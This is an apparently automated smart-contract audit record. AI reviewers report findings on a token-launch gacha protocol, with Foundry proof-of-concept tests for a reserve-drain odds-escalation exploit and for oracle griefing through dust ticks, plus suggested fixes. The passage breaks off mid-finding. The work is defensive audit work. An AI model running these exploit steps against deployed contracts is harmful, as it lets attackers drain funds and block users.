{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"1f9510eb-0355-4d2a-8bb7-cf1b35b6a096","kind":"audit","nodes":[{"acceptedSubmissionHash":"ffbc32b7b56438e140e24497d3045cd04ce5dbb4722c5e06e199413c9b44dbf0","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"e026e64f2c2b88cb9532bd00c10a42801b431f6b6bfab6460bf8498ca6e6051b","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"788bee624dc7ad417c257c2d1856125f4a903afc77018d40e03c05a52f7ce1c3","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"6d95946867c46c4a4707b706c38765423852d0fb9544ab58220905b832374bb2","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"b3f27f7cf1397343acb23daf8fff9abb0756b00c79026144256f1f39b8be21cb","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"}],"objective":"X: https://x.com/imdplace\nv3.3, fixes for audit 930ea061 (commit 8b769ee). Full adversarial review before the token launch. Build and test under the launch profile (FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none) and the protected profile; confirm GACHA_RUNTIME_CODE_HASH 0xbdb13664f85a03997922c0678be6c02e83716a9d7b24e0cd231ae51a3c8af1ad under the launch profile.\n\n1. Verify every 930ea061 fix: full-range-only beforeAddLiquidity and flags 0x38CC; getHookPermissions matches REQUIRED_FLAGS; polTokensForEth (max) in POLManager vs min in GenesisVault; V3Depth (30-min harmonic L, band, first initialized tick, full-range-equivalent scaling); Genesis depth at max(spot, 4h) price and min(L now, 30m, 4h); seal refuses GOLD; bindCheck and CheckLaunch.s.sol; VRF ignored at or after requestedAt + CANCEL_DELAY; path A funding check.\n2. Griefing: V3Depth stops at the first initialized tick. Can anyone, with a tiny position near the price, make a listed token unpriceable and so block spins, draws, payouts or cancellations for Bags holding it, or lock funds? Same question for the Genesis lane and full-range-only adds.\n3. New issues from the changes: rounding in the band math, harmonic counter wrap, both token orders, oracle manipulation at minimum depth (MIN_LIQUIDITY 5 ETH, MIN_GENESIS_DEPTH 1 ETH, PAYOUT_CAP_BPS 500), payout above paid value, stuck funds, hook reentrancy, VRF races.\n4. bindGacha against the deployed GoblinNFT (launch-1616): any remaining way to lock the reserve.\n\nReport any medium or higher with a concrete fix. NO SOURCE CHANGES.","parentJobId":null,"planHash":"716c708f0614b734ad8b523914634b53b45f3603d33fa40c00a165f9e783ba96","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"1f9510eb-0355-4d2a-8bb7-cf1b35b6a096","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"50959","feedbackHash":"f49e3e37be3f2c3ec6123aa246c43fed1949cef0557738ee3d5a0a282e341e9d","nodeKey":"audit_economics","submissionHash":"ffbc32b7b56438e140e24497d3045cd04ce5dbb4722c5e06e199413c9b44dbf0","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52641","feedbackHash":"f51ef5d0984ed5ba9f1b857bbd9d7ea6e492fac6dd4f3acb2d47eb5bbbdbed0e","nodeKey":"audit_flow","submissionHash":"e026e64f2c2b88cb9532bd00c10a42801b431f6b6bfab6460bf8498ca6e6051b","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52480","feedbackHash":"04dd139e90c43bcb4b9044383f10be2e3b2e43497d47851f5d026fdeefc1e797","nodeKey":"audit_judge","submissionHash":"788bee624dc7ad417c257c2d1856125f4a903afc77018d40e03c05a52f7ce1c3","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51432","feedbackHash":"7016fe31cbd210ad36c8c80c10b39b3fa653efff4693132a46eaa02c5d1cb468","nodeKey":"audit_math","submissionHash":"6d95946867c46c4a4707b706c38765423852d0fb9544ab58220905b832374bb2","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52251","feedbackHash":"013270711b4f63fda1e7bcbee2ff9cf9647f401fc9c0db9cc576413847c25dbc","nodeKey":"audit_permissions","submissionHash":"b3f27f7cf1397343acb23daf8fff9abb0756b00c79026144256f1f39b8be21cb","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"8452cbcf6bc776faec286425bd2af0d7cc1b13aa0ddee04dffcd919a4ae7e5ff","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"03f15d1296244279","findings":[{"citation":"resolved","description":"The band search stops at the first initialized tick. Downward, the mask at line 61 includes the current compressed tick, so when slot0.tick == T and T is a position boundary the lower edge is sqrtPriceAtTick(T), at most one tick (1 bp) below the price: amount1 is ~0.1% of the virtual reserve and `_liquidBalances`/`_checkPool` revert ThinPool for a pool with 100 ETH per side. Upward, Uniswap v3 stores tick = T-1 with sqrtPrice == sqrtPriceAtTick(T) after any zeroForOne swap that ends exactly on initialized tick T (swap loop: `state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext`); the upward search then returns end0 == sqrtPrice, the `if (end0 > sqrtPrice)` guard leaves amount0 == 0 and the token is unpriceable. This state is reached naturally (1/spacing of the time when the neighbouring boundaries are initialized, ~1.7% for a 0.3% pool with LPs around the price) and deliberately by anyone sending a zeroForOne swap with sqrtPriceLimitX96 = getSqrtRatioAtTick(T) for the nearest initialized T below the price (cost: fee on the amount needed to reach T, no position left behind). While it holds, every Bag containing the token is dropped from the spin snapshot (`_buildSnapshot` catch), `seal` of that token reverts, and `withdraw` charges no exit fee (bagValue reverts). No funds are locked: draw, choose, finalize, cancel and claimBag do not call the oracle, and the next ordinary swap restores the quote. Fix (preserves the no-raw-balance design): when `_edge` finds an initialized tick inside the band, read `IUniswapV3Pool.ticks(next).liquidityNet` and continue the band with L' = min(L, L +/- liquidityNet) for the segment beyond it (bounded to a few iterations), instead of truncating the band to zero width; equivalently, treat a boundary within one tick of the price with the liquidity on the far side taken as min(L, L'). This also neutralises the 1-wei tick-insertion grief in the second finding, since min(L, L+1) == L.","line":33,"path":"src/v3/V3Depth.sol","reproduction":"test/scratch/ZeroWidthBand.t.sol (passes on current code, asserting the defect; run with FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none forge test --match-path test/scratch/ZeroWidthBand.t.sol). Case A: MockV3Pool(token, WETH), spacing 60, liquidity 100e18 and 30-minute harmonic liquidity 100e18, tick 0 initialized, slot0 = (2^96 + 1, 0). Expected: payoutCap ~5 ETH (5% of ~100 ETH per side). Actual: V3Depth.balances returns amount1 < 1e9 wei and TwapOracle.payoutCap reverts ThinPool(pool). Case B: tick 60 initialized, slot0 = (sqrtPriceAtTick(60), 59), the exact state v3 leaves after a zeroForOne swap ending on tick 60. Expected: ~5 ETH cap. Actual: amount0 == 0, payoutCap reverts ThinPool(pool). With tick 60 uninitialized and the price one wei inside (60, 61) the same pool quotes a cap above 4.9 ETH.","severity":"low","snippet":" if (end0 > sqrtPrice) {","title":"V3Depth credits zero depth whenever slot0.tick is itself an initialized tick (or the price sits exactly on one), so a deep listed pool is intermittently unpriceable and can be made so with a single li"},{"citation":"resolved","description":"Because V3Depth stops at the first initialized tick and scales the released amount by the fixed +/-5% sqrt-price band (~976 ticks), an initialized tick one spacing (60 ticks) above the price limits the token0 side to about 6.3% of the full-range-equivalent reserve (test/audit930ea061/V3Depth.t.sol testBothTokenOrdersUseTheEthSideOfTheBand shows 100 ETH -> 6.3 ETH). Any pool whose conservative depth is below 5 ETH / 0.063 ~ 79 ETH per side therefore fails MIN_LIQUIDITY and the token becomes unpriceable. Unlike the previous finding this persists until the position is burned, and the position costs only gas: minting liquidityDelta = 1 over [T+60, T+120] (or [T-120, T-60] for the other side) requires 1 wei of each token. Impact per listed token: every Bag holding it is excluded from each spin snapshot (not drawable), new seals of it revert ValueOutOfRange/ThinPool, and its depositors can withdraw fee-free (exit fee 0.5%, at most 0.0035 ETH per Bag). Spins, draws, payouts and cancellations are not blocked (`_buildSnapshot` catches the revert; the Genesis lane, GOLD and WETH are unaffected since GOLD admits full-range positions only and WETH has no pool). No funds are locked. The report documents this as a conservative choice; it is reported here because the task asked the question and the bound (any pool under ~80 ETH per side, i.e. nearly every candidate listing) is not stated anywhere. Fix as in the first finding: continue past the first initialized tick with min(L, L + liquidityNet), so a tiny added position cannot reduce the credited depth while a position that ends inside the band still does.","line":279,"path":"src/TwapOracle.sol","reproduction":"test/audit930ea061/V3Depth.t.sol::testV3JitCapCannotMoveInOneTransaction already shows the mechanism on a 5 ETH pool. Concrete input for a healthy pool: MockV3Pool spacing 60, liquidity = historyLiquidity = 70e18 (depth 70 ETH per side, cap 3.5 ETH), slot0 = (2^96, 0). Attacker: setInitializedTick(60, true) (on a real pool: mint liquidityDelta 1 over ticks [60, 120], 1 wei of each token). Expected: depth still ~70 ETH per side. Actual: token0 side becomes ~4.4 ETH (< MIN_LIQUIDITY 5 ETH), TwapOracle.payoutCap/valueInEth revert ThinPool(pool) until the position is removed; a Bag sealed with that token is skipped by _buildSnapshot and its depositor's withdraw() succeeds with fee 0.","severity":"low","snippet":" if (wethSide < MIN_LIQUIDITY) revert ThinPool(pool);","title":"A 1-wei position one tick spacing from the price makes any listed pool under ~80 ETH per side unpriceable for as long as the griefer leaves it (accepted limitation, quantified)"}],"hash":"6d95946867c46c4a4707b706c38765423852d0fb9544ab58220905b832374bb2","nodeId":"9a6e8ebd-9bc7-4080-83f4-87f9566e1114","outcome":"completed","summary":"Review complete. No source files were changed. Findings are in `.imd-findings.json` (two low-severity items, nothing medium or higher).\n\n**Build and test results**\n\n| Check | Result |\n|---|---|\n| Launch profile build (`FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none`) | Pass |\n| Launch profile `forge test` with the report's seed | 198 passed, 0 failed, 2 fork suites skipped |\n| Protected default profile build and `forge test` | Pass, 198 passed plus my 2 scratch tests |\n| `GACHA_RUNTIME_CODE_HASH` under launch profile | Confirmed: keccak of the 23,332-byte runtime, no immutable references, equals `0xbdb13664…8af1ad` |\n\n**Every 930ea061 fix verified in code**\n- `beforeAddLiquidity` accepts only `[-887220, 887220]`, PoolManager-only, flags `0x38CC` match `REQUIRED_FLAGS` and `getHookPermissions`, bit for bit against v4-core's layout. A zero-delta modify cannot create a narrow position either, since v4 rejects empty position updates.\n- `polTokensForEth` takes the max window quote (protective for a buyer), GenesisVault keeps the min. Directions are correct.\n- V3Depth: harmonic L formula matches OracleLibrary with a 192-bit denominator and unchecked wrap, min with current L, band ±5% sqrt price, released amounts match Uniswap's amount0/amount1 deltas, scaled to full-range equivalent and capped at the virtual reserve, both token orders mapped correctly, bitmap search mirrors v3 including the current-tick inclusion downward and word boundaries.\n- Genesis depth uses `max(spot, 4h)` sqrt price (higher sqrt price means less ETH, so conservative) and `min(L now, L 30m, L 4h)`; `seal` refuses GOLD and `setPool` refuses GOLD.\n- `bindCheck` covers code hash, all three NFT targets, and every wiring relation; `CheckLaunch` enforces exact vault funding and simulates naming and the post-review bind.\n- VRF: fulfilment is ignored at or after `requestedAt + CANCEL_DELAY`, cancel opens at the same instant, no gap and no overlap.\n\n**Griefing analysis (task item 2)**\nNo path blocks spins, draws, payouts or cancellations, and no path locks funds. An unpriceable token only drops its Bags from the snapshot and lets depositors exit fee-free. Genesis cannot be griefed by position shape since only full-range adds exist. Two concrete low findings came out of this, both on the v3 depth band:\n1. **Zero-width band** (`src/v3/V3Depth.sol:33`): when slot0.tick is an initialized tick, or the price sits exactly on one after a zeroForOne swap (v3 stores tick T-1 at price(T)), one side computes as 0 and a 100 ETH pool reverts ThinPool. Reachable by anyone with one limit swap, and naturally about 1.7% of the time on an active 0.3% pool.\n2. **1-wei tick insertion** (`src/TwapOracle.sol:279`): a position one spacing from the price cuts one side to 6.3% of depth, so any pool under about 79 ETH per side becomes unpriceable for as long as the griefer leaves it. Verified: 70 ETH per side becomes 4.40 ETH.\n\nSuggested fix for both, preserving the no-raw-balance design: on hitting the first initialized tick inside the band, read `ticks(T).liquidityNet` and continue with `min(L, L ± net)`, so a tiny added position cannot shrink depth while a position ending inside the band still does.\n\n**Other items checked with no defect found**: band rounding (floor everywhere, conservative), harmonic counter wrap, Genesis value bounded by (1-d)P so buyback never exceeds the spin price, hook claims minted equal accrued totals so `flush` cannot strand ETH, `flush` cannot be blocked by `depositRevenue` or `fundReserve`, hook reentrancy paths guarded, bind cannot be locked once targets pass `bindCheck` even if `release()` lands first. Trust assumptions remain: NFT owner naming targets, seed LP removal, and the 1-hour observation staleness disabling the Genesis lane during quiet periods.\n\nScratch tests are left in `test/scratch/` as reproductions; they pass on current code by asserting the defective behaviour.","treeHash":null,"usage":{"cachedInputTokens":1794161,"inputTokens":388,"model":"claude-fable-5-1","outputTokens":58559,"runtime":"claude","turns":39,"wallClockMs":1618854}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"b0b4e7bbc84f9d80","findings":[{"citation":"resolved","description":"_buildSnapshot moves the odds of every empty tier to the nearest lower non-empty tier, else to the nearest HIGHER one (README line 344 documents the rule but not its consequence). Inventory is permissionless and a kept draw pays the depositor 95% of the snapshot value from the reserve (finalize defaults to keep). Whoever is the only depositor with mature Bags therefore chooses the whole tier distribution: with one large-tier Bag (value in [2P,6P)) the small and medium tiers are empty, their 9300 bps move UP, req.odds becomes [0,0,10000,0] and every regular-lane draw pays that Bag. Per regular spin the reserve takes 88% of P = 0.0088 ETH and pays 0.95 * V with V up to min(5% of reserve, 70P, payout cap). The attacker spins against their own inventory: pays P + VRF fee (about 0.0105 ETH), receives 0.95 * 0.059 = 0.056 ETH as credit, pulls the tokens back with claimBag and re-seals them. Filling the 32 active slots (TooManyActive for everyone else) keeps the population controlled; the Genesis lane only reduces the regular share to 40% when available and is off for the first four hours and after any hour without a GOLD swap. At a 14 ETH reserve (jackpot on) a 0.7 ETH Bag pays 0.665 ETH per regular draw. Reproduced with the attached test: odds[2] == 10000, reserve 4.0 -> 3.95275 ETH and attacker credit 0.05605 ETH after one 0.0105 ETH spin. Fix (keeps the tiers and the keep/buyback economics): never move odds upward. When a tier is empty and no lower tier is non-empty (equivalently weights[0] == 0), treat the regular lane as empty for that request (regularEmpty = true: Genesis-only spin, or NothingToDraw when Genesis is unavailable) instead of concentrating the small/medium odds on a large or jackpot Bag; optionally also cap a tier's effective odds at odds[t] plus the odds of HIGHER empty tiers only.","line":640,"path":"src/BagGacha.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {BagGacha} from \"src/BagGacha.sol\";\n\ncontract DrainToken is ERC20 {\n constructor() ERC20(\"T\", \"T\") {\n _mint(msg.sender, 1_000_000 ether);\n }\n}\n\n/// @dev Prices every token at 1 token = 1e-3 ETH, no payout cap.\ncontract DrainOracle {\n function isPriced(address) external pure returns (bool) {\n return true;\n }\n\n function valueInEth(address, uint256 a) external pure returns (uint256) {\n return a / 1000;\n }\n\n function valueAndCap(address, uint256 a) external pure returns (uint256, uint256) {\n return (a / 1000, type(uint256).max);\n }\n\n function genesisValueAndCap(uint256 a) external pure returns (uint256, uint256) {\n return (a / 1000, type(uint256).max);\n }\n}\n\n/// @dev Genesis lane unavailable (vault unfunded or GOLD stale): quote() == 0, so every spin is a regular draw.\ncontract DrainVault {\n address public immutable token;\n\n constructor(address t) {\n token = t;\n }\n\n function quote(bool) external pure returns (uint256) {\n return 0;\n }\n\n function commit(bool) external pure returns (uint256) {\n return 0;\n }\n\n function uncommit(uint256) external {}\n function deliver(address, uint256) external {}\n function setShares(address, uint256) external {}\n}\n\ncontract DrainVRF {\n uint256 public last;\n\n function calculateRequestPriceNative(uint32, uint32) external pure returns (uint256) {\n return 0.0005 ether;\n }\n\n function requestRandomWordsInNative(uint32, uint16, uint32, bytes calldata) external payable returns (uint256) {\n last += 1;\n return last;\n }\n\n function fulfill(address consumer, uint256 id, uint256 word) external {\n uint256[] memory w = new uint256[](1);\n w[0] = word;\n BagGacha(payable(consumer)).rawFulfillRandomWords(id, w);\n }\n}\n\ncontract Sink {\n function depositPOL() external payable {}\n function depositBurn() external payable {}\n}\n\n/// @notice A depositor who controls the mature inventory gets the odds of every empty tier moved UP to its own\n/// bag: one large-tier Bag receives 100% of the regular-lane odds, so every regular draw pays it 95% of its\n/// value from the reserve for a 0.01 ETH spin.\ncontract OddsEscalationDrainTest is Test {\n BagGacha gacha;\n DrainToken token;\n DrainVRF vrf;\n address attacker = address(0xA11CE);\n\n function setUp() public {\n vm.warp(1_000_000);\n token = new DrainToken();\n vrf = new DrainVRF();\n DrainVault vault = new DrainVault(address(0xB0B)); // GOLD is some other address\n gacha = new BagGacha(\n address(new DrainOracle()),\n address(vault),\n address(0xCAFE), // nft: never called on this path\n address(vrf),\n address(new Sink()),\n address(0x7EA0),\n block.timestamp,\n address(this)\n );\n vm.deal(address(this), 100 ether);\n gacha.fundReserve{value: 4 ether}();\n token.transfer(attacker, 1000 ether);\n vm.deal(attacker, 10 ether);\n vm.warp(block.timestamp + gacha.HOLDER_WINDOW());\n }\n\n function testEmptyTierOddsMustNotEscalateToTheOnlyBag() public {\n // one large-tier Bag: 59 tokens = 0.059 ETH (large tier is [2P, 6P)), under 5% of the 4 ETH reserve\n address[] memory toks = new address[](1);\n toks[0] = address(token);\n uint256[] memory amts = new uint256[](1);\n amts[0] = 59 ether;\n vm.startPrank(attacker);\n token.approve(address(gacha), type(uint256).max);\n gacha.seal(toks, amts);\n vm.warp(block.timestamp + gacha.MATURATION());\n\n uint256 reserveBefore = gacha.reserve();\n (uint256 price,) = gacha.spinPrice();\n uint256 id = gacha.spin{value: price}();\n vm.stopPrank();\n\n (,,,, uint256[4] memory odds,) = gacha.currentRequest();\n emit log_named_uint(\"effective odds of the only (large) tier\", odds[2]);\n\n // Drive the draw to the end to show the flow: every word selects the attacker's Bag.\n vrf.fulfill(address(gacha), id, uint256(keccak256(\"any word\")));\n uint256 alloc = gacha.draw();\n vm.warp(block.timestamp + gacha.CHOICE_WINDOW());\n gacha.finalize(alloc);\n emit log_named_uint(\"reserve before\", reserveBefore);\n emit log_named_uint(\"reserve after one spin\", gacha.reserve());\n emit log_named_uint(\"attacker credit after paying 0.0105 ETH\", gacha.credits(attacker));\n\n // The large tier's base odds are 650 bps; it may absorb the jackpot tier's 50 bps moving DOWN, but the\n // small and medium tiers' 9300 bps must never move UP into it.\n assertLe(odds[2], 650 + 50, \"empty lower tiers' odds escalated to the only bag\");\n }\n}","reproduction":"State: BagGacha with reserve 4 ETH (fundReserve), Genesis lane unavailable (vault quote 0 or GOLD stale), holder window over. Attacker seals one Bag of a listed token valued 0.059 ETH (large tier, under 5% of reserve), waits MATURATION (24 h), calls spin() paying spinPrice().total. Expected: the large tier keeps at most its 650 bps plus the jackpot tier's 50 bps; the empty small and medium tiers' 9300 bps do not become a certain win of the only Bag. Actual: currentRequest().odds == [0,0,10000,0]; any VRF word selects the attacker's Bag; after draw() and finalize() credits[attacker] == 0.05605 ETH, reserve 4.0 -> 3.95275 ETH, and claimBag returns the 59 tokens for re-sealing. test/scratch/OddsEscalation.t.sol (attached as proof) fails on this code with '10000 > 700'. Run: FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none forge test --match-path test/scratch/OddsEscalation.t.sol -vv","severity":"high","snippet":" for (uint256 k = t + 1; k < 4 && !moved; ++k) {\n if (weights[k] > 0) {\n eff[k] += odds[t];\n moved = true;\n }\n }","title":"Empty-tier odds escalate upward: whoever controls the mature inventory wins every regular draw at 95% of value and drains the reserve"},{"citation":"resolved","description":"_edge returns the sqrt price of the first initialized tick in each direction and balances() counts only the liquidity released between the spot price and that tick, scaled by the fixed band factor upper/(upper - sqrtP) = 21 and capped at the virtual reserve. Anyone can initialize a tick next to the price by minting a position with liquidityDelta 1 (1 wei of each token, about 300k gas). A boundary within one tick spacing (60 ticks = 0.3% of sqrt price) caps the measured side at about 0.3% * 21 = 6.3% of the virtual reserve, so every pool with under about 79 ETH of virtual reserve per side (at spacing 60; under 160 ETH when the price sits mid-bucket, at spacing 10 almost every pool) fails MIN_LIQUIDITY and TwapOracle reverts ThinPool for that token. Worse, the downward mask at line 61 includes the current compressed tick and the upward search returns a price equal to sqrtPrice: after a zeroForOne swap with sqrtPriceLimitX96 == sqrtPriceAtTick(T) for an initialized T, v3 leaves slot0 = (sqrtPriceAtTick(T), T-1) and the measured token0 side is exactly 0 (symmetrically (sqrtPriceAtTick(T), T) after oneForZero zeroes the token1 side). That state needs no position at all and can be placed in front of a specific request. Consequences on this tree: seal() of the token reverts BadBag/ValueOutOfRange; _buildSnapshot skips every Bag holding it (try/catch) so those Bags are not drawable, which also tilts draws toward the attacker's own Bags; withdraw() waives the 0.5% exit fee because bagValue reverts; a Curator pool proposal fails at execute() (setPool -> validatePool -> ThinPool) for its whole validity; 32 such Bags held by one actor squat every active slot (TooManyActive for everyone, regularEmpty for every request, NothingToDraw when Genesis is unavailable). draw(), choose/finalize, claimBag and cancelRequest never read the oracle, so no ETH is locked and depositors exit after maturation; hence Medium. README lines 137-139 document the limitation as a curation matter, but the state is created after listing, by anyone, at any time. Fix (keeps the no-raw-balance design and the JIT bound): inside the fixed band walk a bounded number of initialized ticks (e.g. 8 per direction) reading IUniswapV3Pool.ticks(t).liquidityNet, carry L' = L +/- liquidityNet across each crossing and use min(L, L') for the next segment, so a dust tick releases the same amounts while liquidity that only appears after a crossing is never credited; and start each search strictly beyond a tick whose price equals sqrtPrice (treat it as already crossed, as the v3 swap loop does).","line":74,"path":"src/v3/V3Depth.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {V3Depth} from \"src/v3/V3Depth.sol\";\nimport {TickMath} from \"src/TickMath.sol\";\n\n/// @dev A v3 pool's tick bitmap and tick table, enough for V3Depth (and for a fix that walks liquidityNet).\ncontract DustPool {\n int24 public tickSpacing = 60;\n mapping(int16 => uint256) public tickBitmap;\n mapping(int24 => int128) public liquidityNetOf;\n\n function initTick(int24 tick, int128 net) external {\n int24 compressed = tick / tickSpacing;\n tickBitmap[int16(compressed >> 8)] |= 1 << uint8(uint24(compressed));\n liquidityNetOf[tick] = net;\n }\n\n function ticks(int24 tick)\n external\n view\n returns (uint128 liquidityGross, int128 liquidityNet, uint256, uint256, int56, uint160, uint32, bool)\n {\n int128 net = liquidityNetOf[tick];\n return (uint128(net < 0 ? -net : net), net, 0, 0, 0, 0, 0, net != 0);\n }\n}\n\ncontract DepthHarness {\n function balances(address pool, uint160 price, int24 tick, uint128 l) external view returns (uint256, uint256) {\n return V3Depth.balances(pool, price, tick, l);\n }\n}\n\n/// @notice A 1-wei-liquidity position whose tick is within one spacing of the price caps the measured depth at a\n/// sliver of the real depth; a swap that stops exactly at an initialized tick measures zero.\ncontract DustTickDepthTest is Test {\n DustPool pool;\n DepthHarness depth;\n uint160 constant P = 1 << 96; // price 1, tick 0\n uint128 constant L = 100 ether; // 100 ETH virtual reserve on each side\n\n function setUp() public {\n pool = new DustPool();\n depth = new DepthHarness();\n }\n\n function testOneDustTickWithinOneSpacingMakesA100EthPoolThin() public {\n (uint256 a0, uint256 a1) = depth.balances(address(pool), P, 0, L);\n assertApproxEqRel(a0, 100 ether, 1e15);\n assertApproxEqRel(a1, 100 ether, 1e15);\n\n // Attacker: position [60, 120] with 1 wei of liquidity (dust of both tokens, left forever).\n pool.initTick(60, 1);\n pool.initTick(120, -1);\n (a0, a1) = depth.balances(address(pool), P, 0, L);\n emit log_named_decimal_uint(\"token0 depth seen with one dust tick at +60\", a0, 18);\n // A 1-wei position changes the pool's real depth by nothing; the measured ETH side must not drop below\n // half of the 100 ETH the active liquidity really backs across the band.\n assertGe(a0, 50 ether, \"one dust tick made the pool unpriceable\");\n }\n\n function testSwapParkedExactlyAtAnInitializedTickMeasuresZero() public {\n pool.initTick(60, 1);\n pool.initTick(120, -1);\n // A zeroForOne swap with sqrtPriceLimitX96 == sqrtPriceAtTick(60) ends with slot0 = (price(60), tick 59).\n uint160 pinned = TickMath.sqrtPriceAtTick(60);\n (uint256 a0,) = depth.balances(address(pool), pinned, 59, L);\n emit log_named_uint(\"token0 depth seen when parked at tick 60\", a0);\n assertGt(a0, 0, \"parked at the tick: zero depth, every quote reverts ThinPool\");\n }\n}","reproduction":"Merged from four specialist reports; all reproduced. V3Depth.balances(pool, sqrtPrice = 2^96 (tick 0), tick 0, L = 100e18) on a spacing-60 pool with no initialized ticks inside the band returns about 100 ETH on both sides. (a) Initialize tick 60 (a 1-wei position [60,120]): expected token0 side still near 100 ETH; actual amount0 = 6.290245407412639953 ETH, so any pool under about 79 ETH per side reports under MIN_LIQUIDITY 5 ETH and TwapOracle._liquidBalances reverts ThinPool. (b) Initialize tick 0 with the price at 2^96 (MockV3Pool from test/mocks/CuratorMocks.sol, liquidity = history = 1000e18, setInitializedTick(0, true)): balances returns (999999999999999999987, 0) and oracle.payoutCap(token) reverts ThinPool(pool) for a 1000 ETH pool. (c) slot0 = (sqrtPriceAtTick(60), 59), the exact state v3 leaves after a zeroForOne swap limited at tick 60: amount0 == 0. test/scratch/DustTick.t.sol (attached) fails on this code with those values. Run: FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none forge test --match-path test/scratch/DustTick.t.sol -vv","severity":"medium","snippet":" if (bitmap != 0) return price;","title":"V3Depth stops at the first initialized tick: a 1-wei position within one spacing of the price, or a swap parked exactly on an initialized tick, makes a listed token unpriceable (ThinPool) at gas cost"},{"citation":"resolved","description":"The 930ea061 repair of findings 5 and 7 made bindCheck the single wiring gate (every wire except the review timer) and CheckLaunch.s.sol the operator preflight. bindCheck checks pol.oracle, pol.hook and pol.token but not pol.mintEscrow (must equal NFT) or pol.poolManager (must equal the hook's poolManager), both immutables of POLManager that the hook can verify. CheckLaunch checks only the runtime hash, flags, vault funding, bindCheck and a simulated bindGacha. GoblinNFT.claimRelease pays polOwed only to msg.sender == polTarget, and POLManager reaches it only through pullMintEscrow, which reads its own mintEscrow. So a POLManager deployed with the wrong mintEscrow passes CheckLaunch, is named polTarget, passes bindCheck and bindGacha; once release() runs (permissionless after the 7-day review) polOwed = liveSupply * PRICE / 2 (5 ETH at sellout) is unclaimable by anyone, forever: nothing can retarget after release and POLManager has no rescue. A wrong poolManager is caught by no check either and makes every buyAndBurn/addLiquidity revert, stranding all POL and burn budget ETH (40%+2%/4% of every spin). This is the same lock-out class the shared bindCheck was meant to close. Fix: declare mintEscrow() and poolManager() on IHookPOL and add to the GachaMismatch clause `|| _readAddress(pol, IHookPOL.mintEscrow.selector) != NFT || _readAddress(pol, IHookPOL.poolManager.selector) != address(poolManager)`; mirror both in CheckLaunch.s.sol and extend testBindCheckChecksEveryWireWithoutWaitingForReview with the two selectors.","line":370,"path":"src/GoldHook.sol","reproduction":"test/scratch/MintEscrowWire.t.sol (Audit930Fixture): deploy POLManager(manager, GOLD, hook, oracle, mintEscrow = address(vault), i.e. any contract other than the NFT), a GenesisVault and a BagGacha pointing at that POLManager, fund the vault exactly. Expected: CheckLaunch.run reverts BindNotReady and bindCheck returns GachaMismatch. Actual: CheckLaunch.run(hook, gacha2) passes; nft.setLaunchTargets(badPol, gacha2, gacha2); bindCheck(gacha2) == bytes4(0); after 500 holders mint 20 each and 7 days pass, bindGacha(gacha2) succeeds and nft.release() sets polOwed = 5 ETH; 